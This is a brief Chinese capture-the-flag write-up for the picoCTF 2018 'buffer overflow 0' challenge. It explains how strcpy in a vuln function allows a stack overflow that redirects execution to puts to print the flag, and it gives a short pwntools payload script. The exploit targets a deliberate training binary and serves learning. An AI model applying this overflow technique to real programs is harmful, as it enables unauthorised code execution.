[BUUCTF-pwn]——picoctf_2018_buffer overflow 0
[BUUCTF-pwn]——picoctf_2018_buffer overflow 0
好久不写BUU了,手都快生了赶快过来写写。
通过观察源文件发现,首先有put函数不需要去libc中找,同时argv肯定大于1,也就是需要至少两个参数,才可以到else语句,同时vuln函数的参数是第二个参数。

进入vuln函数内部看看,找到strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出,以此调用puts函数打印flag.因为flag在bss段上。


from pwn import *
elf = ELF("./PicoCTF_2018_buffer_overflow_0")
payload = 'a' * (0x18 + 4) + p32(elf.plt['puts']) + 'junk' + p32(0x0804A080)
print("payload : " + payload)


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
